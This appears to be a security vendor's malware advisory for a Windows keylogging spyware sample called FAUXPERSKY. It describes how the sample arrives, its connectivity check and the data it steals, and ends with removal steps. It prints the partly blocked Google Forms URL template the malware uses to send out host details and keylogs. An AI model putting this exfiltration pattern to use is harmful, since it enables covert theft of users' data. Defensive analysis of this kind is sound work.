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TrojanSpy.Win64.FAUXPERSKY.AC

February 17, 2023
 Analysis by: Jeffrey Francis Bonaobra
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size:

1,078,272 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

10 Feb 2023

Payload:

Deletes files, Collects system information, Connects to URLs/IPs

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy adds the following processes:

  • %System%\cmd.exe /c ping -n 1 -w 1000 www.google.com.my>Ping.sb → checks internet connection

Other System Modifications

This Trojan Spy deletes the following files:

  • {Malware File Path}\Log.txt → to clear contents for new data

Information Theft

This Trojan Spy gathers the following data:

  • OS Version
  • Computer Name
  • User Name
  • IP Address
  • Content:
    • Keylogging information stored in Log.txt

Other Details

This Trojan Spy connects to the following URL(s) to check for an Internet connection:

  • www.google.com.my

It connects to the following website to send and receive information:

  • https://{BLOCKED}s.{BLOCKED}e.com/forms/d/e/1FAIpQLSe6oGStKSshScVonAyCVFOrhANSfnmm0Im-aabnBX5ZjLabbA/viewform?entry.930994914=%A_OSVersion%&entry.210885477=%A_ComputerName%&entry.429054695=%A_UserName%&entry.1539630660=%A_IPAddress1%

It requires the existence of the following files to properly run:

It does the following:

  • It reads the contents of Log.txt.
  • It checks the contents of Ping.sb if it contains the string "could not find."
    • If found, it repeatedly checks for internet connection.
  • It exfiltrates information via Google Forms.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.262.06

FIRST VSAPI PATTERN DATE:

17 Feb 2023

VSAPI OPR PATTERN File:

18.263.00

VSAPI OPR PATTERN Date:

18 Feb 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • {Malware file path}\Ping.sb

Step 4

Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.Win64.FAUXPERSKY.AC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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